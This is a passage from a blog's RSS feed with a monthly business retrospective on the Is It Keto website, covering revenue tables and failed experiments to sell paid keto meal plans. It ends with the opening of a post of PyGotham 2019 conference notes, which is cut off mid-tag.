&lt;p>It turns out it&amp;rsquo;s really hard to get people to spend money on things that other sites offer for free. Despite my best efforts, I only managed to sell two meal plans, far lower than the volume I expected.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I sold my first meal plan on &lt;a href="https://isitketo.org">Is It Keto&lt;/a>.&lt;/li>
&lt;li>I then tried five different experiments for increasing sales.&lt;/li>
&lt;li>Is It Keto&amp;rsquo;s revenue dropped for the month as I redirected resources toward its failing meal plans.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/10/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="earn-100-in-revenue-from-sales-of-keto-meal-plans">Earn $100 in revenue from sales of keto meal plans&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Earned only $23.87 from keto meal plan sales.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D+&lt;/li>
&lt;/ul>
&lt;p>It turns out it&amp;rsquo;s really hard to get people to spend money on things that other sites offer for free. Despite my best efforts, I only managed to sell two meal plans, far lower than the volume I expected.&lt;/p>
&lt;h3 id="add-five-new-articles-to-is-it-keto">Add five new articles to Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added four new articles to Is It Keto.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I was a bit overambitious in how quickly I could ramp up the site&amp;rsquo;s new writer, but we came close to the target.&lt;/p>
&lt;h3 id="appear-on-a-podcast-aimed-at-freelancers-or-entrepreneurs-to-talk-about-my-writing-guide">Appear on a podcast aimed at freelancers or entrepreneurs to talk about my writing guide&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Reached out to four podcasts, got rejections or non-responses from all of them.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>It still feels unfortunate that I can&amp;rsquo;t connect my &lt;a href="https://mtlynch.io/hiring-content-writers/">guide to hiring writers&lt;/a> with an audience. Even fairly small, niche podcasts for freelance writers weren&amp;rsquo;t interested in talking to me about my article.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2019&lt;/th>
 &lt;th>October 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>28,768&lt;/td>
 &lt;td>26,315&lt;/td>
 &lt;td>&lt;font color="red">-2,453 (-9%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>75,487&lt;/td>
 &lt;td>66,578&lt;/td>
 &lt;td>&lt;font color="red">-8,909 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>13&lt;/td>
 &lt;td>&lt;font color="green">+3 (+30%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>2,330&lt;/td>
 &lt;td>1,574&lt;/td>
 &lt;td>&lt;font color="red">-756 (-32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$178.79&lt;/td>
 &lt;td>$75.65&lt;/td>
 &lt;td>&lt;font color="red">-$103.14 (-58%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$150.06&lt;/td>
 &lt;td>$159.02&lt;/td>
 &lt;td>&lt;font color="green">+$8.96 (+6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Meal Plan Sales&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$23.87&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$328.85&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$258.54&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$70.31 (-21%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Revenues are way down from my &lt;a href="https://mtlynch.io/retrospectives/2019/09/#is-it-keto">August peak&lt;/a> of $389. The loss comes from reductions in AdSense earnings, which I believe have two causes:&lt;/p>
&lt;ul>
&lt;li>I reduced the sizes of my ads, as the previous sizes were overwhelming the page (&lt;a href="https://imgur.com/oAeqEDB">before&lt;/a> vs. &lt;a href="https://imgur.com/O3VPlM1">after&lt;/a>).&lt;/li>
&lt;li>I replaced some of my AdSense ads with &lt;a href="#i-added-self-ads">self-ads&lt;/a> for Is It Keto paid meal plans.&lt;/li>
&lt;/ul>
&lt;p>I knew I&amp;rsquo;d lose AdSense revenue by dialing down its ads, but I hoped to make up the loss in increased revenues from selling meal plans. Unfortunately, meal plan sales failed to offset those losses.&lt;/p>
&lt;p>Traffic stats are slumping, too. I think this is partially due to waning interest in diets as we get closer to the end of the year. I might also be losing SEO battles with blogs that produce content that&amp;rsquo;s similar to Is It Keto but put more effort into gaming Google&amp;rsquo;s algorithms.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2019&lt;/th>
 &lt;th>October 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Earnings&lt;/td>
 &lt;td>$4.51&lt;/td>
 &lt;td>$4.86&lt;/td>
 &lt;td>&lt;font color="green">+$0.35 (+8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful is quietly chugging along in the background. The server costs me $7.50/month, so I&amp;rsquo;m actually running at a small loss.&lt;/p>
&lt;p>Despite the seemingly flat numbers, Zestful is growing. I have more customers making regular API calls than ever before. The stats above are a month behind because my payment processor is bad at showing accrued revenue.&lt;/p>
&lt;p>Based on rough data, I expect a 5-10x jump in revenue for November. I&amp;rsquo;ve also added better logging, which allows me track my earnings in real time from now on rather than waiting around for my API gateway to report it a month later.&lt;/p>
&lt;h2 id="my-many-attempts-to-sell-meal-plans">My many attempts to sell meal plans&lt;/h2>
&lt;p>As I mentioned &lt;a href="https://mtlynch.io/retrospectives/2019/10/#creating-premium-meal-plans-for-is-it-keto">last month&lt;/a>, my big venture for October was to launch paid meal plans on Is It Keto, my website about the keto diet.&lt;/p>
&lt;p>The launch came together as expected. I worked with a third-party meal plan author who agreed to let me resell their plans under the Is It Keto brand in exchange for a royalty on every sale.&lt;/p>
&lt;p>I managed to make a couple of sales, but it proved to be far harder than I anticipated.&lt;/p>
&lt;h3 id="i-ran-a-smoke-test">I ran a smoke test&lt;/h3>
&lt;p>Before I had any meal plans to sell, I ran a &amp;ldquo;smoke test.&amp;rdquo; I put up a page that advertised original keto meal plans and put a &amp;ldquo;Buy Now&amp;rdquo; button at the bottom of the page:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/smoke-test.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/smoke-test_hu_3d7b4fd774df850c.jpg 300w, https://mtlynch.io/retrospectives/2019/11/smoke-test_hu_79440cc5fcccc6.jpg 600w, https://mtlynch.io/retrospectives/2019/11/smoke-test_hu_6ad0183d1d8b8b2a.jpg 800w, https://mtlynch.io/retrospectives/2019/11/smoke-test.jpg 1050w'
 src="https://mtlynch.io/retrospectives/2019/11/smoke-test.jpg" alt="Screenshot of Is It Keto smoke test" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Meal plan smoke test&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It was a very basic page, and it had many obvious weaknesses, but I wanted to put something up quickly to see if readers had any interest in it.&lt;/p>
&lt;p>During the smoke test, ~4% of users clicked the button that said &amp;ldquo;Buy Now $14.99,&amp;rdquo; which was encouraging. I recognized that not every user who clicked &amp;ldquo;Buy Now&amp;rdquo; would actually pay, but I felt like if 4% were clicking based on such weak sales copy, then maybe I could achieve 4% true conversion by sharpening the sales copy a bit.&lt;/p>
&lt;h3 id="i-offered-an-actual-product">I offered an actual product&lt;/h3>
&lt;p>The meal plan author sent me the first plan on the afternoon of Friday, October 4th. The following Monday, I got the easiest possible Stripe payment flow working and listed the meal plan for sale on my site:&lt;/p>













 

 








 
 
 







&lt;figure class="img" style="max-width: 418px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/tex-mex-v1.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 418px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/tex-mex-v1_hu_a7bdad180f7a7110.jpg 300w, https://mtlynch.io/retrospectives/2019/11/tex-mex-v1.jpg 416w'
 src="https://mtlynch.io/retrospectives/2019/11/tex-mex-v1.jpg" alt="Screenshot of first Tex-Mex sales page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Putting my first meal plan up for sale&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Only one customer had signed up for my mailing list, but she purchased a plan within two hours of launch:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 603px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/first-payment.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 603px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/first-payment_hu_3cb8fd51ef7020d6.jpg 300w, https://mtlynch.io/retrospectives/2019/11/first-payment_hu_259673fcc53a33f4.jpg 600w, https://mtlynch.io/retrospectives/2019/11/first-payment.jpg 601w'
 src="https://mtlynch.io/retrospectives/2019/11/first-payment.jpg" alt="Screenshot of Stripe payment receipt" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My first Is It Keto meal plan sale&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I made my first sale within hours of going live! I felt great. At this rate, I&amp;rsquo;d be earning hundreds of dollars per week.&lt;/p>
&lt;p>And then&amp;hellip; silence. After that first sale, nothing else came in for weeks.&lt;/p>
&lt;h3 id="i-added-self-ads">I added self-ads&lt;/h3>
&lt;p>Maybe the problem was that too few users realized I was selling meal plans. There was an entry for &amp;ldquo;Meal Plans&amp;rdquo; in the site&amp;rsquo;s navigation bar, but I wanted to maximize the visitors to my meal plan sales page.&lt;/p>
&lt;p>To drive more users to the sales page, I created self-ads to replace the ads I&amp;rsquo;d been running for Google AdSense:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/self-ads.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/self-ads_hu_370f4b369b7dde58.jpg 300w, https://mtlynch.io/retrospectives/2019/11/self-ads_hu_e9e11e4aa1690b60.jpg 600w, https://mtlynch.io/retrospectives/2019/11/self-ads_hu_1ee02a158bdc4df5.jpg 800w, https://mtlynch.io/retrospectives/2019/11/self-ads.jpg 1015w'
 src="https://mtlynch.io/retrospectives/2019/11/self-ads.jpg" alt="Screenshot of self-ad on Gatorade Zero page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I added self-ads for my meal plans to &lt;a href="https://isitketo.org/gatorade-zero">other Is It Keto pages&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I tuned these ads to show 60% of the time at first and increased them to 100% some weeks to maximize visitors. I couldn&amp;rsquo;t tell if it had any because there was so much variance in the traffic:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/self-ads-chart.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/self-ads-chart_hu_c1cd773afe311299.jpg 300w, https://mtlynch.io/retrospectives/2019/11/self-ads-chart_hu_3b385f7fac56b00d.jpg 600w, https://mtlynch.io/retrospectives/2019/11/self-ads-chart_hu_1f598a593ee88f84.jpg 800w, https://mtlynch.io/retrospectives/2019/11/self-ads-chart.jpg 918w'
 src="https://mtlynch.io/retrospectives/2019/11/self-ads-chart.jpg" alt="Chart showing indeterminate effect of self-ads" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Self-ads may have brought more visitors to the page, but it&amp;rsquo;s too little data to say for sure&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="i-slashed-prices">I slashed prices&lt;/h3>
&lt;p>After a week, still no sales. I initally listed the meal plan for $14.99, which I worried might be too expensive for a 7-day meal plan. With zero sales, it was difficult to gauge what changes to the site would lead to more sales because a big fat zero in sales made it hard to see what had a positive effect and what had a negative effect.&lt;/p>
&lt;p>I decided to reduce my price drastically, from $14.99 to $4.99. This felt too low, but I&amp;rsquo;d rather get too many sales for too low a price than zero sales and zero information.&lt;/p>













 

 








 
 
 







&lt;figure class="img" style="max-width: 418px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/tex-mex-v2.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 418px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/tex-mex-v2_hu_7b7b16ecc6e2a574.jpg 300w, https://mtlynch.io/retrospectives/2019/11/tex-mex-v2.jpg 416w'
 src="https://mtlynch.io/retrospectives/2019/11/tex-mex-v2.jpg" alt="Screenshot of first Tex-Mex sales page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Slashing the price on my meal plan&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="i-offered-discounts-for-feedback">I offered discounts for feedback&lt;/h3>
&lt;p>After two days, there were still no sales even after a 66% price reduction. I felt frustrated; nothing I did seemed to have any effect. I wished there was a way to find out why users weren&amp;rsquo;t buying, but I couldn&amp;rsquo;t just ask them.&lt;/p>
&lt;p>Or could I?&lt;/p>
&lt;p>While discussing the issue with a friend, she asked why I couldn&amp;rsquo;t survey the users. I pointed out that users had no incentive to fill out my survey. Then, I realized I could incentivize them by offering a discount on meal plans.&lt;/p>
&lt;p>I couldn&amp;rsquo;t discount the $4.99 price in a meaningful way, so I raised prices back to $9.99 and told users they&amp;rsquo;d earn a 30% discount if they filled out a survey.&lt;/p>
&lt;p>It felt like a great idea. I&amp;rsquo;d get feedback from my users, and they&amp;rsquo;d feel invested in the meal plans and more likely to make a purchase.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 







&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/survey1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/survey1_hu_826a3f093f000b9b.jpg 300w, https://mtlynch.io/retrospectives/2019/11/survey1.jpg 416w'
 src="https://mtlynch.io/retrospectives/2019/11/survey1.jpg" alt="Meal plan discount link" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 







&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/survey2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/survey2_hu_7672f51c5dbaf2f3.jpg 300w, https://mtlynch.io/retrospectives/2019/11/survey2.jpg 416w'
 src="https://mtlynch.io/retrospectives/2019/11/survey2.jpg" alt="Meal plan discount explanation" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Incentivizing users to provide feedback on the meal plans&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The link led to a short survey.&lt;/p>
&lt;p>After about 10 days, only one user filled out a survey. I reached out to them a few hours later to offer discounted meal plans, but they never responded or made a purchase.&lt;/p>
&lt;h3 id="i-reached-out-to-users-on-reddit-one-by-one">I reached out to users on Reddit one-by-one&lt;/h3>
&lt;p>It seemed like a good time to, &lt;a href="http://paulgraham.com/ds.html">&amp;ldquo;do things that don&amp;rsquo;t scale.&amp;rdquo;&lt;/a> I began pitching my meal plans to reddit users one-by-one. The &lt;a href="https://reddit.com/r/keto">/r/keto&lt;/a> subreddit is filled with beginners asking keto questions, so it didn&amp;rsquo;t take me long to find several users who had requested help finding keto meal plans that week.&lt;/p>
&lt;p>To these users, I sent private messages letting them know I offered meal plans on my site and was available for questions:&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 638px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/reddit-post.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 638px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/reddit-post_hu_3a168eb6789a15c3.jpg 300w, https://mtlynch.io/retrospectives/2019/11/reddit-post_hu_235a6fe8f31608cb.jpg 600w, https://mtlynch.io/retrospectives/2019/11/reddit-post.jpg 636w'
 src="https://mtlynch.io/retrospectives/2019/11/reddit-post.jpg" alt="reddit post asking for meal plan advice" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>reddit user asking where to find keto meal plans&lt;/p>&lt;/figcaption>
&lt;/figure>















 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 704px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/reddit-invitation.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 704px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/reddit-invitation_hu_60f2a47c4943aa02.jpg 300w, https://mtlynch.io/retrospectives/2019/11/reddit-invitation_hu_4755e68a7721f418.jpg 600w, https://mtlynch.io/retrospectives/2019/11/reddit-invitation.jpg 702w'
 src="https://mtlynch.io/retrospectives/2019/11/reddit-invitation.jpg" alt="reddit post asking for meal plan advice" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My outreach message to a reddit user seeking meal plans&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I tried this with several users. Some responded to say that it &amp;ldquo;looked perfect&amp;rdquo; for them, but then they didn&amp;rsquo;t follow through with a purchase.&lt;/p>
&lt;p>After a few days, I gave up on this channel. I wasn&amp;rsquo;t gaining traction, and checking reddit constantly became too distracting.&lt;/p>
&lt;h3 id="i-went-back-to-square-one">I went back to square one&lt;/h3>
&lt;p>At this point, I was mystified. How could 4% of users click the &amp;ldquo;Buy now&amp;rdquo; button during my smoke test, but now that they actually &lt;em>could&lt;/em> buy, they weren&amp;rsquo;t purchasing anything?&lt;/p>
&lt;p>I could think of two possibilities:&lt;/p>
&lt;ol>
&lt;li>The changes I made to my sales copy after the smoke test made users less interested in purchasing.&lt;/li>
&lt;li>My original sales copy was so uninformative that users were clicking the &amp;ldquo;buy&amp;rdquo; button just to find out more information.&lt;/li>
&lt;/ol>
&lt;p>If it was scenario (1), then rolling back to the sales copy I used in my smoke test should result in real sales. I tried doing exactly that:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/smoke-test2.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/smoke-test2_hu_9b8c9dd839099db5.jpg 300w, https://mtlynch.io/retrospectives/2019/11/smoke-test2_hu_73199f65c979417a.jpg 600w, https://mtlynch.io/retrospectives/2019/11/smoke-test2_hu_8591a70e731eed18.jpg 800w, https://mtlynch.io/retrospectives/2019/11/smoke-test2.jpg 1050w'
 src="https://mtlynch.io/retrospectives/2019/11/smoke-test2.jpg" alt="Screenshot of Is It Keto smoke test" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Testing the original smoke test to see if 4% of users will still click Buy Now&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Less than 24 hours later, I made a second sale! Maybe this sales copy really was much better than my revised version.&lt;/p>
&lt;p>But after a week, there was only that one new sale. It was infinitely more than I&amp;rsquo;d sold with my later copy, but it was also just a single sale, so I couldn&amp;rsquo;t draw any conclusions.&lt;/p>
&lt;p>According to my logging, 3.7% of users clicked the &amp;ldquo;Buy now&amp;rdquo; button when I brought back the vague copy from the smoke test. This was close enough to the original 4.1% I saw during the smoke test that I feel like the likely conclusion is that users are clicking the &amp;ldquo;Buy&amp;rdquo; button only to find out more information.&lt;/p>
&lt;h3 id="i-split-up-my-sales-pages">I split up my sales pages&lt;/h3>
&lt;p>After concluding that there was nothing magical about my smoke test page, I continued polishing my sales page. My most recent change has been to split up each meal plan into its own page so that I can include more details:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/11/tex-mex-v3.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/11/tex-mex-v3_hu_d8d2337a98bf26ed.jpg 300w, https://mtlynch.io/retrospectives/2019/11/tex-mex-v3_hu_b354f6bb6928fb94.jpg 600w, https://mtlynch.io/retrospectives/2019/11/tex-mex-v3_hu_280c7c896f6bc0d6.jpg 800w, https://mtlynch.io/retrospectives/2019/11/tex-mex-v3_hu_394bf0b869083053.jpg 1200w, https://mtlynch.io/retrospectives/2019/11/tex-mex-v3.jpg 1257w'
 src="https://mtlynch.io/retrospectives/2019/11/tex-mex-v3.jpg" alt="Screenshot of latest Tex-Mex sales page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Putting each meal plan into its own individual, more detailed page&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I made this change on October 31st, but there have still been no new sales after the first two.&lt;/p>
&lt;h3 id="experiment-summary">Experiment summary&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Experiment&lt;/th>
 &lt;th>Unique visitors&lt;/th>
 &lt;th>Clicked &amp;ldquo;buy&amp;rdquo; button&lt;/th>
 &lt;th>Completed checkout&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Smoke test&lt;/td>
 &lt;td>340&lt;/td>
 &lt;td>14 (4.1%)&lt;/td>
 &lt;td>1* (0.3%)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>List the first meal plan for sale&lt;/td>
 &lt;td>218&lt;/td>
 &lt;td>1 (0.5%)&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Drop prices to $4.99&lt;/td>
 &lt;td>26&lt;/td>
 &lt;td>1 (3.8%)&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Offer discounts via a survey&lt;/td>
 &lt;td>112&lt;/td>
 &lt;td>1 (0.9%)&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Re-try the smoke test&lt;/td>
 &lt;td>191&lt;/td>
 &lt;td>7 (3.7%)&lt;/td>
 &lt;td>1 (0.5%)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Split up sales pages&lt;/td>
 &lt;td>288&lt;/td>
 &lt;td>2 (0.7%)&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* Customer signed up for mailing list and purchased the meal plan when it became available.&lt;/p>
&lt;h2 id="future-ideas">Future ideas&lt;/h2>
&lt;p>At this point, I&amp;rsquo;m wondering whether users are willing to pay for meal plans at all. It&amp;rsquo;s possible they are, and I&amp;rsquo;m just missing something in my strategy.&lt;/p>
&lt;p>Here are some additional ideas I have to encourage users to purchase:&lt;/p>
&lt;ul>
&lt;li>Cook the recipes myself, take photos of the results, and add food photos to the sales pages.&lt;/li>
&lt;li>Let readers view more sample pages in the meal plans to see what they&amp;rsquo;re buying.&lt;/li>
&lt;li>Improve the sales copy and page layouts.&lt;/li>
&lt;/ul>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Made my first sale of Is It Keto&amp;rsquo;s meal plan product.
&lt;ul>
&lt;li>Drafted a licensing agreement with a third-party meal plan provider.&lt;/li>
&lt;li>Tried several experiments to increase sales.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Simplified the build process on What Got Done so that anyone can spin up a local instance with &lt;a href="https://twitter.com/deliberatecoder/status/1189529617947869184">a single command&lt;/a>.&lt;/li>
&lt;li>Presented &lt;a href="https://mtlynch.io/retrospectives/pygotham-2019-notes/">&amp;ldquo;Why Good Developers Write Bad Tests&amp;rdquo; at PyGotham&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>View smoke test results with a healthy dose of skepticism.
&lt;ul>
&lt;li>Even if 4% of users click the &amp;ldquo;buy&amp;rdquo; button, the percentage who will actually purchase can be significantly lower.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a new blog post about eliminating distractions from email and social media.&lt;/li>
&lt;li>Interview five customers for a potential new business.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Notes from PyGotham 2019</title><link>https://mtlynch.io/retrospectives/pygotham-2019-notes/</link><pubDate>Thu, 31 Oct 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/pygotham-2019-notes/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>This past weekend, &lt;a href="https://2019.pygotham.org/">PyGotham&lt;/a> invited me to speak at their annual conference in Manhattan. In an effort to maximize the benefit I get from the event, I&amp;rsquo;ve prepared notes that capture what I learned by attending. I&amp;rsquo;m sharing them in hopes that it might be interesting or useful to others.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo_hu_70d7a3cccdae772e.png 300w, https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo_hu_392d26a1cbc1a8a4.png 600w, https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo_hu_75d79f5a27e7c3ad.png 800w, https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo.png 1061w'
 src="https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo.png" alt="PyGotham 2019 logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="ratings-and-reviews">Ratings and reviews&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Conference Attribute&lt;/th>
 &lt;th>Grade&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Quality of talks&lt;/td>
 &lt;td>C&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Event smoothness&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Venue&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>How I felt about my talk&lt;/td>
 &lt;td>B&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="quality-of-talks">Quality of talks&lt;/h3>
&lt;p>I was a bit disappointed with the overall quality of the talks this year. There were a few I enjoyed (&lt;a href="#favorite-talks">see below&lt;/a>), but lots of the talks underwhelmed me.&lt;/p></description><content:encoded>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>This past weekend, &lt;a href="https://2019.pygotham.org/">PyGotham&lt;/a> invited me to speak at their annual conference in Manhattan. In an effort to maximize the benefit I get from the event, I&amp;rsquo;ve prepared notes that capture what I learned by attending. I&amp;rsquo;m sharing them in hopes that it might be interesting or useful to others.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
